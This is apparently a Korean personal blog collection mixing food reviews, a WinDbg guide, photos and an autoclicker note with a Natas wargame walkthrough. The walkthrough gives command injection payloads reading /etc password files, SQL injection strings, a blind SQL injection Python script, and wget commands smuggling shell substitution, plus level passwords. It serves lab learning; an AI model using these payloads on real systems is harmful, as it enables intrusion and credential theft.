진호박's Life Style

진호박's +253

 

[  CU 고기만두 호빵  ]평가 및 리뷰

 

 [상품 이미지]

 

 













            


 

가격  :  1,300원

 

가성비 평가  :  ★★☆☆☆ 2개(5개 만점)

 

구입 경로  :  CU 편의점

 

상품 설명  :  백종원을 모델로 쓴 CU 편의점의 고기만두 속이 들어간 호빵

 

개인 평가  :  백종원 이름이 들어간 음식 답게 속은 나름 알차게 들어있는 편 물없이 전자렌지에 돌렸음에도 속이 촉촉해서 먹는데 뻑뻑함이 없었다.  호빵류의 평균가격대비 약간 비싼 느낌이 있음 맛에 있어서는 우수하지만 가격때문에 자주 사먹기는 힘들듯 하다.

 

 

 


 

[  GS25 왕교자 삼각김밥  ]평가 및 리뷰

 

 [상품 이미지]

 

 

 



 

가격  :  1,000원

 

가성비 평가  :  ★★★☆☆(5개 만점)

 

구입 경로  : GS25 편의점

 

상품 설명  :  왕교자 만두 하나가 통째로 들어있는 삼각김밥

 

개인 평가  :  GS25의 삼각김밥 중 하나인 왕교자 삼각김밥이다 김밥 내부의 만두는 고기만두가 들어있고 전체적인 맛은 만두와 양념이 살짝 되어있는 밥의 조화가 잘 맞는 편으로 꽤 괜찮은 맛이다. 천원이라는 일반 삼각김밥 기준으로 조금 비싼 듯 하지만 내용물이 상당히 튼실하기때문에 구성대비 무난한 가격으로 평가된다.

삼각김밥을 좋아하는 사람이라면 꽤 괜찮게 먹을수 있을것으로 생각된다. 

 

 


 

[  GS25 즉석에서 즐기는! 사골국  ]평가 및 리뷰

 

 [상품 이미지]

 




 

 

가격  :  600원

 

가성비 평가  :  ★★★★☆ 4개(5개 만점)

 

구입 경로  : GS25 편의점

 

상품 설명  :  간편하게 물만 부어서 먹을수 있도록 만들어진 미니컵 사이즈의 사골국 스프와 국물을 담을수 있는 컵으로 구성되어 있다.

 

개인 평가  :  사리곰탕 컵라면에서 면을 빼고 국물만 파는 듯한 맛이다 우선 가격이 부담이 없는 금액이라 혼자 사는 자취생 에게 상당히 괜찮은 상품으로 느껴진다. 저렴한 가격과 훌륭한 사골국물의 맛!  컵의 물붓는선 까지만 물을 넣으면 다소 간이 세게 느껴질수 있으니 싱겁게 먹는 사람은 물을 더 넣는것을 추천

 

 

 


 

[  미니스톱 바베큐맛 유부 김밥  ]리뷰 및 후기

 

 [상품 이미지]

 

 


 

가격  :  1,900원

 

가성비 평가  :  ★★★☆☆ 3개 (5개 만점)

 

구입 경로  : 미니스톱 편의점



 

상품 설명  : 바베큐맛 양념의 유부가 들어있는 편의점 김밥

 

개인 평가  : 바베큐맛 유부의 맛이 괜찮고 유부가 상당히 촉촉하고 식감이 좋아 편의점 김밥 치고는 나름 괜찮은 맛을 가지고 있다. 간은 보기보다는 세지 않고 적당하게 느껴짐. 가격은 편의점 김밥 평균 기준으로 무난한 편 달달한 양념이므로 호불호가 갈릴수도 있는 맛이므로 주의하여 구매하기를 권장합니다.

 

 

 


 

[  한줌견과 원데이 오리지널  ]리뷰 및 후기

 

 [상품 이미지]

 

 

 

가격  :  12900원(30봉 구성)

 

가성비 평가  :  ★★★★☆ 4.5점(5점 만점기준)

 

구입 경로  :  카카오톡 선물하기

 

상품 설명  :  6가지 견과류로 구성되어 한번에 먹기좋은 봉지에 포장되어있음 호두,아몬드,볶음귀리,렌틸콩볶음,요거트레이즌,크렌베리

 

개인 평가  :  견과류 맛은 괜찮은 편이며 볶은귀리와 볶은 렌틸콩이 꽤 많은양인 20%정도씩 차지하고 있어 다 먹으면 다른 한줌견과류 들과 비교했을때 포만감이 더 훌륭한 부분이 있음 다만 렌틸콩과 귀리는 맛이 그다지 좋지 않음 글작성일기준 현재 카카오톡선물하기에서 세일중이므로 해당 가격에 구매시 한봉에 430원이라는 매우 저렴한 가격에 무료배송으로 구입이 가능하다. 세일된 가격에 계속 판매한다고 하면 재구매 의사 매우 높음일것 같다.

개인적으로 가성비가 매우 좋고 포만감이 있어 추천하는 상품

 

 

몇 가지 방법이 있는데, 그 중 Windbg.exe 를 이용한 방법이다.

아래 사이트에서 Winsdk_web.exe 를 다운받아 설치한다. 아래는 32비트용임.
http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=8279



다음은 설치 화면...


1. .NET 프레임웍 4 가 설치되지 않아 몇 가지 SDK component가 설치되지 않을 수 있다는 메시지.




2. 설치마법사 화면. Next!!




3. I Agree 선택하고, Next!!




4. 설치 위치. 특별한 사항 없음 기본 그대로, Next!!!




5. 설치하고자 하는 옵션을 선택하는 화면. windbg를 사용하려면 별다른 선택없이 기본으로 Next!!!




6. 이제 설치하겠다는 협박(?).ㅋㅋㅋ Next!!!




7. 설치 시작됨! 여기서 멈추려면 Cancel을..  선택한 옵션을 다운로드 받으면서 설치가 진행되기 때문에 시간이 꽤 걸림.



8. 설치 완료!!!




1. 설치가 끝나고 WinDbg를 실행시킨다.

시작 - 프로그램 - Debugging Tools for Windows - WinDbg


2. Symbol File Path를 설정한다.
   File - Symbol File Path...
   창이 하나 열리는데 거기에 아래와 같이 입력한다.
   SRV* c:\websymbols*http://msdl.microsoft.com/download/symbols


3. 아래와 같이 덤프파일을 불러온다. 
 
File - Open Crash Dump...


4. Dump 파일이 있는 폴더에 들어가서 해당 Dump (*.dmp) 파일을 선택하고 확인! 그러면 아래와 같이 Symbol을 읽어 오면서 분석 준비를 마치게 된다.

분석준비가 끝났으면, 아래와 같이 맨 아래 kd> 명령창에 다음 명령어를 입력하고 엔터!
1: kd> !analyze

위 명령어 결과는 문제 원인으로 추정된 것에 대한 간단한 결과만 알려준다.
자세한 내용을 보기 위해서는 아래와 같은 명령어를 입력한다.
1:kd> !analyze -v



5. 위와같이 명령어를 실행하면 1:kd> 가 BUSY 로 바뀌면서 덤프 분석을 실행한다.
 아래 그림 중 첫번째는 analyze 만 실행한 것이고, 두 번째는 -v 옵션을 준 결과이다.

 

 

 

 



위 분석 결과로 보면, 문제 발생 원인은 scsk5.sys 라는 파일에 있으며, 상세 결과를 보면 Driver Fault 라는 내용도 나온다.

전문가 까지는 아니더라도, 대강의 장애 원인 파악은 가능하다.


아래는 참고 자료
출처 : http://fl0ckfl0ck.tistory.com/203


기타 참고 자료 : http://www.numz.net/a/2162598
http://deguls.tistory.com/52
http://blog.naver.com/ojini21c?Redirect=Log&logNo=120090334194
http://www.devpia.com/MAEUL/Contents/Detail.aspx?BoardID=50&MAEULNO=20&no=870274&ref=870267
http://debugbeyond.blogspot.com/2011/01/how-to-set-microsoft-symbol-server.html

 

달팽이달팽이           err



작년부터 키운 식용 달팽이인데

겨울 요애 지내고 깨어나서 폭풍상추흡입 하다가

요 며칠 상추를 안먹길래 살펴보니 노오란 알을 한무더기 낳아놨네요 ㅎㅎ

이걸 다 어떻게 처치한담

분양하기도 너무많아서 곤란 ㅋㅋ

'여러가지 > 잡담' 카테고리의 다른 글

sumnail  (0) 2017.03.06
특수문자 모음  (0) 2016.12.19
[LOL]볼리베어 일러스트 채색연습  (0) 2013.08.07
카카오톡 몰래보기 어플 분석 [CapturedMsgViewActivity.java]  (0) 2013.08.01
Application Framework 부분 분석  (0) 2013.07.31

오피스 2013을 설치하다보면 오류중에 일

 

반적인 것이 아래와 같은 것이다.

 

Microsoft Setup Bootstrapper의 작동이 중지되었습니다.

 

 

 

에러화면1. 닫기를 클릭하면 아래와 같은 메세지가 나온다.

 

 

에러화면2. 프로그램 닫기를 클릭한 다음에 아래와 같은 순서대로 진행한다.

 

 

1. 기존의 오피스 프로그램을 깨끗하게 삭제한다.

 

제어판/프로그램에서 오피스 프로그램을 삭제하거나, 아래의 프로그램을 이용해서 손쉽게 삭제한다.

 

운영체제와 오피스버전을 확인후 삭제하면 된다(MS OFFICE 사이트 자료이므로 안심해도 됩니다)

 

 

윈도우7-윈도우xp-오피스2003삭제.msi

 

윈도우7-윈도우xp-오피스2007삭제.msi

 

윈도우7-윈도우xp-오피스2010삭제.msi

 

윈도우8-오피스2003삭제.diagcab

 

윈도우8-오피스2007삭제.diagcab

 

윈도우8-오피스2010 삭제.diagcab

 

 

2. 레지스트리 이름을 변경한다.

 1) 시작 / 실행 / regedit 입력하고 실행한다

 2) HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\Eventlog\Parameter 찾은 다음에  마우스 오른쪽 버튼을 눌러서 이름을 변경한다.

  Parameters → Parameterss  (s하나만 더 입력하면 된다)

 

 

3. 모든 창을 닫고 재부팅하면 에러없이 완벽하게 설치하실 수 있습니다.

 

 

제품명 : 진호박's 오토클릭

버젼 : 0.1.0

제작언어 : VB 6.0

개발기간 : 1시간

기능 : 일정타이머 마다 왼쪽마우스를 클릭합니다.

매크로 감지를 일부 방지하기 위해 클릭사이에 일정타이머(0~50밀리세컨드)의 딜레이를 줍니다.

트레이아이콘기능으로 활용성 증가

 

단축키 기능으로 간편한 온오프(비활성 상태에서도 단축키는 작동합니다.)

 

수업시간에 요청으로인해 간단하게 만들어봤습니다 ㅋㅋ

 

 

 

 

 

 

 

 

 

2013년 2학기 중간고사 시간표(정보보안학부)

날짜/학과

2학년

컴보2A

10/7
(월)

10:00~10:50

웹서버운영체제
301

11:00~11:50

네트워크I
301

10/8
(화)

10:00~10:50

전자상거래보안
301

11:00~11:50

보안프로그래밍
301

10/10
(목)

14:00~14:50

직업기술교육론
402

15:00~15:50

정보사회와미디어
402

10/11
(금)

09:00~12:50

보안프로그래밍 보강
601

 

pre conv

여러가지/파일2013. 10. 1. 13:51

 

 

 

pre conv.exe

 

오랜만에 워게임을 풀어볼까하여 여러 사이트를 돌아니던 중에 시스템 해킹 워게임만 있을 줄 알았던 OverTheWire 사이트에 웹 해킹 워게임이 있어 한번 풀어보았다. 난이도는 어렵지 않아 하/중 정도 되는 것으로 생각이 된다. 웹 해킹 초급자들이 풀어보면 웹 해킹의 감을 잡는데 좋을 것으로 생각이 된다. 문제의 접속은 다음과 같이 하면 된다.


 - http://natasX.natas.labs.overthewire.org

X : Level Number

계정은 NatasX, 비밀번호는 문제를 풀면 다음 레벨 계정의 패스워드가 주어지므로 해당 패스워드로 접속하면 된다.


 - p.s : 모든 패스워드는 /etc/natas_webpass/natasX 에 존재한다.


[Natas0]

Username: natas0

Password: natas0

URL: http://natas0.natas.labs.overthewire.org


 아주 기초적인 문제이다. 접속하면 다음과 같은 화면을 만나게 된다.



해당 페이지에서 다음 레벨 계정의 패스워드를 찾을 수 있다는 말인데, 소스보기를 하면 주석으로 적혀 있는 패스워드를 발견 할 수 있다.




[Natas0 -> Natas1]

Username: natas1

URL: http://natas1.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



해당 레벨도 마찬가지로 소스보기를 통해 패스워드를 획득하면 된다. 하지만 설명에도 나왔듯이 오른쪽 클릭이 막혀있다. 오른쪽 클릭이 막혀있다 하여도 소스보기를 못하는 것은 아니다. 대부분의 마우스 클릭 방지는 클릭의 이벤트 코드를 통해 방어해 두었기 때문에 이벤트만 발생시키지 않으면 쉽게 무력화 시킬 수 있다. 대표적으로 브라우저 메뉴에서 소스코드 보기 버튼을 클릭하는 방법이 있다.



 



[Natas1 -> natas2]

Username: natas3

URL: http://natas3.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



위 지문이 무슨 말일까? 해당 페이지에는 아무것도 없다 라는 말이... 위 말대로라면 해당 페이지에서는 패스워드를 찾을 수 없으므로 다른 페이지를 찾아봐야 한다. 먼저 소스를 통해 다른 페이지로 갈만한 경로가 존재하는지 살펴보자.



페이지에는 표시가 되지 않았지만 이미지가 하나 링크되어 있다. 해당 이미지는 다운받아 보면 1x1 이미지로 조작된것이라 볼 수 있는 이미지이다. 하지만 패스워드와는 아무런 관련이 없어 보이고 해당 페이지가 존재했던 files/라는 디렉토리로 한번 접근을 시도해보면 다음과 같이 패스워드 파일이 존재하는 것을 볼 수 있다.


디렉토리 리스팅에 관해 문제를 제작한 것으로 보인다.


[Natas2 -> natas3]

Username: natas3

URL: http://natas3.natas.labs.overthewire.org


접속하면 Level 3과 같은 화면을 볼 수 있고 소스코드를 보면 다음과 같은 문장을 볼 수 있다.


<!-- No more information leaks!! Not even Google will find it this time... -->


구글이 앞으로 여기를 찾을 수 없다고 한다. 결국 구글봇이 해당 페이지를 크롤링하지 못한다는 말이 되는데, 구글봇이 크롤링을 하지 못하는 까닭으로 대표적인 것은 robots.txt 파일이 있다. 한번 살펴보자.


 

접근하지 못하게 설정되어 있는 디렉토리가 하나 보인다. 


디렉토리에는 user.txt 파일이 하나 존재하고 해당 파일에는 계정정보가 존재한다.


[Natas3 -> Natas4]

Username: natas4

URL: http://natas4.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



natas4.shtml 파일에 접근이 금지 되었다고 한다. 접근 할 수 있는 방법은 natas5 계정의 문제 도메인을 통해서만 접근이 가능하다고 한다. 하지만 우리는 natas5의 패스워드를 모르기 때문에 해당 페이지에 접속한 것으로 위 말은 말이 되지 않는다. 그렇다면 간단하게 패킷을 조작 해 마치 우리가 natas5의 도메인에서 접속 한 것처럼 위장하여 해당 레벨을 클리어 하자.



 

http 헤더를 보면 referer 필드가 존재한다. 해당 필드는 접속 페이지 이전에 어디서 접속하였는지 표시해주는 필드이다. 그러므로 해당 필드를 natas5의 문제 도메인으로 조작 해 접속을 마치 natas5 문제 도메인에서 해당 페이지로 한 것 처럼 조작하면 페이지는 정상적으로 열리게 될 것이다.




[natas4 -> natas5]

Username: natas5

URL: http://natas5.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



접근이 해제되었고 내가 로그인이 되지 않았다고 한다. 로그인을 해서 들어왔는데 로그인이 되지 않았다면 우리는 두 가지를 경우를 생각할 수 있다. 하나는 쿠키의 로그인을 판별하는 어떤 변수의 값이 잘못 설정되었거나 또는 로그인 세션이 해제된 경우이다.

먼저 쿠키 값을 살펴보자.


 

loggedin 라는 쿠키변수의 값이 0이다. 쿠키변수의 이름으로 보아 로그인과 관련되어 있는 듯 하니 1로 변경하고 다시 한번 페이지를 불러와보면 다음과 같이 패스워드를 획득 할 수 있다.




[natas5 -> natas6]

Username: natas6

URL: http://natas6.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



뭔가 입력하는 폼이 하나 존재하고 소스코드가 링크되어 있는 문자열이 존재한다. 일단 소스코드부터 살펴보자.



간단한 PHP 소스코드가 존재한다. $secret 변수에 들어 있는 값이 우리가 전송하는 $_POST['secret'] 값과 일치 할 때 natas7 계정의 패스워드를 출력 해 주는 아주 간단한 소스코드이다. 그럼 $secret 변수는 어디에 존재할까? 소스코드 맨 첫줄에 있는 include 함수에서 불러오는 파일을 한번 살펴보자.



secret.inc 파일을 보니 $secret 변수가 선언되어 있고 해당 변수에 어떤 값이 저장되어 있다. 우리가 해당 값을 입력하면 이번 문제를 클리어하게 된다.




[natas6 -> natas7]

Username: natas7

URL: http://natas7.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



링크를 클릭하고 소스보기를 해보면 알겠지만, 두 페이지는 page라는 변수로 구분되어 진다. 그리고 다음과 같은 힌트가 존재한다.


<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->


page라는 변수가 수상하므로 비정상적인 값을 넣어보면 다음과 같이 오류메시지가 출력 된다.


Warning: include(1): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 13 Warning: include(): Failed opening '1' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 13



include 함수를 사용하는 것을 볼 수 있다. 그럼 힌트에 나온 패스워드 파일도 page 변수로 넘겨주면 include 함수에 의해 그 내용이 현재 페이지에 뿌려지게 될 것이다.


 



[natas7 -> natas8]

Username: natas8

URL: http://natas8.natas.labs.overthewire.org


접속하면 natas6 계정 문제에서 봤던 화면과 동일한 화면을 볼 수 있다. 물론 소스코드 보기도 존재한다. 그러므로 소스코드를 보면 다음과 같이 간단한 PHP 소스코드가 눈에 보인다.



이번에도 우리가 입력한 값과 미리 소스코드에 정해져있는 값을 비교하여 패스워드를 출력할지 결정한다. 그런데 소스코드에서는 우리가 입력한 값을 인코딩하여 미리 인코딩되어 있는 값과 비교한다. 그러므로 우리는 인코딩된 값을 풀어 원래의 문자열을 찾아 입력해야 한다. 그래야 소스코드에서 우리의 값을 인코딩하여 비교할 때 미리 인코딩되어 있는 값과 우리의 값이 동일해 질 것이다.우리 값을 인코딩하는 encodeSecret() 함수의 동작을 보면 먼저 base64로 인코딩 한 후 strrev() 함수를 적용 해 값들을 뒤집고 문자들을 16진수 값으로 바꾸어 return 해 준다. 우리는 역으로 해당 값을 풀어가면 된다.




해당 값을 입력하면 다음과 같이 패스워드를 획득 할 수 있다.




[natas8 -> natas9]

Username: natas9

URL: http://natas9.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 살펴보자.



우리가 입력하는 값이 $key 변수에 들어가게 되고 해당 변수는 실행되는 명령어의 일부분으로 들어가게 된다. 명령어가 실행된다는 것에 주목하자. 명령어가 실행된다면 우리가 임의로 어떤 명령어를 넣어 패스워드 파일을 볼 수 있다는 것도 의미한다. 세미콜론을 이용하면 임의로 명령어를 실행하는 것이 가능하다.


;cat%20/etc/natas_webpass/natas10#


위처럼 입력하여 주면 패스워드를 획득 할 수 있다.


 



[natas9 -> natas10]

Username: natas10

URL: http://natas10.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



보안을 이유로 특정 문자들을 필터 해 두었다고 한다. 소스코드를 살펴보자.



지문 그대로 특정 문자들(;, |, &)을 필터 해 두었다. 앞에서 사용했던 코드로는 정상적으로 필터를 우회하고 패스워드 파일을 읽어내지 못한다. 여기서는 필터 문자들을 사용하지 못한다는 것을 염두에 두고 grep 명령어에 초점을 맞추어야 한다. grep 명령의 기본 기능을 이용 해 패스워드 파일을 읽어야 한다. ^, $문자를 이용하면 패스워드 파일을 정상적으로 읽을 수 있는데, ^ 문자는 줄의 시작을 의미하며 $는 줄의 끝을 의미한다. 그러므로 ^를 사용하면 줄이 시작되는 부분의 한줄을 출력하게 될 것이고 $를 사용하면 줄이 끝나는 줄의 줄을 출력할 것이다.


"^"%20/etc/natas_webpass/natas11#

"$"%20/etc/natas_webpass/natas11#




[natas10 -> natas11]

Username: natas11

URL: http://natas11.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 보면 지금까지 보던 소스코드들과는 다르게 조금 길다.



소스코드는 길어 보이지만 단순하게 XOR의 성질만 알면 쉽게 풀 수 있는 문제이다. XOR는 두 입력값으로 다른 값을 생산해 내지만, 두 입력값 중 어느 한 값을 결과 값에 입력하게 되면 또 다른 입력 값이 나오는 성질을 가지고 있다. 정리하면 다음과 같다.


A XOR B -> C

A XOR C -> B


xor_encrypt() 함수를 살펴보자. 해당 함수에 들어오는 인자 값은 saveData 함수에서 sercookie 함수 부분을 보면 json_encode($d)인 것을 알 수 있다. $d 값은 무슨 값일까? saveData()를 호출하는 부분을 보면 인자값으로 $data 변수가 넘어가는 것을 볼 수 있고 해당 $data 값은 loadData의 결과 값인 것을 알 수 있다.

loadData를 살펴보면 $defaultdata의 값을 현재 쿠키 값의 값을 디코딩하여 다시 설정해 준다. 그러므로 쿠키 값의 값이 $defaultData의 값과 같은 경우라면 결국 loadData()의 값은 $defaultData 값이라는 것을 알 수 있다. 페이지가 처음 로딩되었을 때 loadData()의 결과 값은 $defaultdata 변수의 값일테고 이 값은 saveData() 함수로 넘어가 결국 쿠키로 설정된다. 이 과정에서 $defaultdata는 json_encode 함수를 거친 후 xor_encrypt() 함수로 가게 된다. 그러므로 결국 xor_encrypt() 함수의 $text 값은 json_encode($defaultdata) 값이라 할 수 있다.


모든 것을 알아 냈으니 이제 패스워드가 출력되는 조건인 showpassword의 값이 yes인 쿠키 값을 만들어내야 한다. 왜냐하면 현재는 showpassword 값이 no인 쿠키값이기 때문이다.


하지만 우린 아직 키 값을 모른다. 그러므로 XOR 성질을 이용 해 키 값을 알아내야 한다. 간단하게 보기로 주어진 소스코드를 이용 해 알아내보자. 다음은 간단한 흐름이다.


base64_encode($key XOR json_encode($defaultdata)) -> Cookie Value

base64_decode(Cookie Value) XOR json_encode($defaultdata) -> $key




키 값이 나왔다. 해당 키 값을 보면 "qw8J" 값이 반복되어 있는 것을 볼 수 있다. xor 연산을 할 때 key[$i % strlen($key)]로 $key 문자열들 중에 xor 할 값을 고르게 되는데, 이때 계산되는 자리의 값은 결국 $i 값이다. 그러므로 실제로 결국 계산될 때 사용되는 문자열은 "qw8J" 이므로 해당 값을 key로 하여 쿠키를 계산 해 보면 다음과 같다.




계산된 쿠키를 적용하고 페이지를 다시한번 불러오면 패스워드를 획득 할 수 있다.




[natas11 -> natas12]

Username: natas12

URL: http://natas12.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스를 한번 살펴보자.



파일을 올릴 때 이름을 랜덤문자열로 하고 확장자를 jpg로 확정지어 업로드를 수행한다. 또 파일 크기는 1KB를 넘어서는 안된다. 하지만 이 모든 것이 클라이언트에서 이루어지기 때문에 손쉽게 해결 가능하다. 제일 쉬운 방법으로는 새로운 폼을 하나 작성 해 서버에 파일을 업로드하는 것이고, 다른 방법으로는 HTTP 헤더에서 파일 이름과 파일의 확장자를 수정 해 주는 방법이다. 여기서는 후자의 방법으로 시도해보겠다.



include 함수를 통해 패스워드 파일을 불러오는 php 파일을 작성하고 업로드 할 때 HTTP 패킷을 잡아 파일 이름 필드에서 jpg 확장자를 php 확장자로 바꾸어 전송한다. 그럼 다음과 같이 파일 업로드 경로가 나타나게 되고 그 내용에는 패스워드 파일의 내용이 불러와 출력되게 된다.




 

 


[natas12 -> natas13]

Username: natas13

URL: http://natas13.natas.labs.overthewire.org



보안 조치를 취해두었다고 하면서 오로지 이미지파일만 업로드 할 수 있다고 한다. 소스코드를 한번 살펴보자.



소스코드는 크게 바뀐 것이 없다. 이미지 파일을 체크하기 위한 exif_imagetype() 함수만 추가 되었다. 이런 파일포맷 체크 함수들은 대부분 파일포맷의 시그니처만 확인한다. 올릴려는 파일에 그림파일의 시그니처를 적절히 적어 업로드하면 쉽게 우회가 가능하다.





[natas13 -> natas14]

Username: natas14

URL: http://natas14.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 한번 살펴보자.



한눈에 봐도 SQL Injection 문제라는 것을 알 수 있다. 쿼리를 실행시키기만 하여도 다음 레벨의 패스워드가 출력된다. 해당 쿼리를 다시 한번 살펴보면 다음 쿼리와 동일한 쿼리이다.


SELECT * from users where username=".$_REQUEST["username"]." and password=".$_REQUEST["password"]."



위와 같이 입력하게 되면 간단하게 문제를 클리어 할 수 있다.


 


[natas14 -> natas15]

Username: natas15

URL: http://natas15.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 한번 살펴보자.



이번에도 SQL Injection 문제이다. 하지만 쿼리 우회문이 아닌 테이블에서 password를 빼와야 한다. 테이블에 유저가 있고 없고를 판단하는 문장으로 봐서는 Blind SQL Injection을 목표로 하는 듯 하다. 지금까지 나온 패스워드가 32글자이므로 이번 패스워드도 32글자일 확률이 많다. 그러므로 간단하게 인젝션으로 패스워드의 글자수를 알아보자.


natas16" and length(password)=32#



쿼리가 정상적으로 실행 되었을 때 나오는 문장이 출력되었다. 이걸 토대로 생각 해 보았을 때 패스워드는 32글자라는 것을 생각 할 수 있고 이전 패스워드들과 마찬가지로 대/소문자, 숫자로 이루어져있음을 추측할 수 있다.

간단하게 스크립트를 짜서 실행하면 다음과 같다.


# -*- coding: utf-8 -*-


import httplib

import urllib

import re

import base64


charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"


headers = {}

username = "natas15"

password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"

conn = httplib.HTTPConnection("natas15.natas.labs.overthewire.org")

base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '')

headers["Authorization"] = "Basic %s" % base64string   

headers["Content-Type"] = "application/x-www-form-urlencoded"


count = 0

password = ""

value = {}

while count != 32:

    for i in charset:

        password += i

        value["username"] = 'natas16" and password LIKE BINARY "' + password + '%'

        conn.request("POST", "", urllib.urlencode(value), headers)

        read = conn.getresponse()

        data = read.read()

        if data.find("This user exists.") > 0:

            print "Found :  ", password

            count += 1

            break

        else:

            password = password[:-1]

        conn.close()


--------------------------------------------------------------------------------------------------------------------


root@kali:~/Desktop# python test2.py 

Found :   W

Found :   Wa

Found :   WaI

Found :   WaIH

Found :   WaIHE

Found :   WaIHEa

Found :   WaIHEac

Found :   WaIHEacj

Found :   WaIHEacj6

Found :   WaIHEacj63

Found :   WaIHEacj63w

Found :   WaIHEacj63wn

Found :   WaIHEacj63wnN

Found :   WaIHEacj63wnNI

Found :   WaIHEacj63wnNIB

Found :   WaIHEacj63wnNIBR

Found :   WaIHEacj63wnNIBRO

Found :   WaIHEacj63wnNIBROH

Found :   WaIHEacj63wnNIBROHe

Found :   WaIHEacj63wnNIBROHeq

Found :   WaIHEacj63wnNIBROHeqi

Found :   WaIHEacj63wnNIBROHeqi3

Found :   WaIHEacj63wnNIBROHeqi3p

Found :   WaIHEacj63wnNIBROHeqi3p9

Found :   WaIHEacj63wnNIBROHeqi3p9t

Found :   WaIHEacj63wnNIBROHeqi3p9t0

Found :   WaIHEacj63wnNIBROHeqi3p9t0m

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5n

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5nh

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5nhm

Found :   WaIHEacj63wnNIBROHeqi3p9t0m5nhmh



[natas15 -> natas16]

Username: natas16

URL: http://natas16.natas.labs.overthewire.org


접속하면 다음과 같은 화면을 볼 수 있다.



소스코드를 살펴보자.



조금 더 차단되는 문자가 생긴 것 빼고는 이전과 달라진 것이 없다. 그러나 큰따옴표("")를 필터하고 있어 이전 코드는 사용하지 못한다. 이번에는 $ 쉘 커맨드를 이용 해 임의의 명령을 시도 해보자. $ 커맨드는 괄호안에 들어 있는 명령을 실행시켜주는 쉘 커맨드이다. 다음 예를 보자.



$(echo game)을 실행하면 결국 game이란 문자열을 반환하므로 소스코드에 명시되어 있는 grep 명령이 game 문자열을 dictionary.txt에서 찾아 결과를 반환하여 주었다. 원래 문제 의도라면 쉘커맨드를 이용 해서 패스워드 파일의 글자를 하나씩 cut 명령으로 추출하는 것이지만, 조금 색다른 방법으로 풀이를 해보도록 하겠다.


해당 문제랑 비슷한 문제가 natas9 계정의 문제이다. 비교적 필터하는 문자가 적기 때문에 해당 문제를 이용해서 여러 디렉토리를 살펴 볼 수 있는데, 해당 문제를 이용 해 현재 natas16 문제에서 패스워드 파일을 tmp 디렉토리로 복사하고 natas9 계정에서 tmp 디렉토리에 있는 파일을 열어 패스워드를 확인 해 볼 것이다.


wget --quiet -O - --user=natas16 --password=WaIHEacj63wnNIBROHeqi3p9t0m5nhmh --post-data 'submit=&needle=$(cat /etc/natas_webpass/natas17 > /tmp/natas17)' http://natas16.natas.labs.overthewire.org > /dev/null


wget --quiet -O - --user=natas9 --password=W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl --post-data 'submit=&needle=;cat /tmp/natas17;' http://natas9.natas.labs.overthewire.org




natas17은 현재 제작 중인 것으로 나와 현재 레벨까지는 올클리어를 하였다.


마지막 몇 문제 빼고는 어렵지 않은 문제니 다들 한번씩 도전해 보기 바란다.


[계정 비밀번호 리스트]

natas0 : natas0

natas1 : gtVrDuiDfck831PqWsLEZy5gyDz1clto

natas2 : ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

natas3 : sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

natas4 : Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

natas5 : iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

natas6 : aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

natas7 : 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

natas8 : DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

natas9 : W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

natas10 : nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

natas11 : U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

natas12 : EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

natas13 : jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

natas14 : Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

natas15 : AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

natas16 : WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

natas17 : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

 

 

 

원문

http://maj3sty.tistory.com/1067

 

  원래 게임의 일러스트


 

 게임카페회원이 그리신 볼리베어 스케치


 

 스케치를 토대로 채색중인 이미지


 

채색 완성후 약간의 보정을 거친 이미지


 

 

 

 

 도라지꽃 입니다.


 물위에 떠있는 풀의 꽃임


 이름 모르는 꽃


 미니 연잎


 엄청나게많은 성냥갑 을 전시용으로 만든 액자1


 엄청나게많은 성냥갑 을 전시용으로 만든 액자2


 오리탕!


 별모양 풀!


 

 

 

 

 오리탕집에서찍은 이름모르는꽃2


 이름모를꽃3


 이름모를꽃4


 뱅뱅사거리에있는 조화


 학교가는길에있는 꽃


 학교가는길에있는꽃2


 우리나라꽃 무궁화 ㅋ


 무궁화 2


 학교옆에핀 맨드라미 5개


 우리집 옥상의 화초


우리집 옥상의 깻잎이라고 추측되는 풀


'여러가지 > 이미지' 카테고리의 다른 글

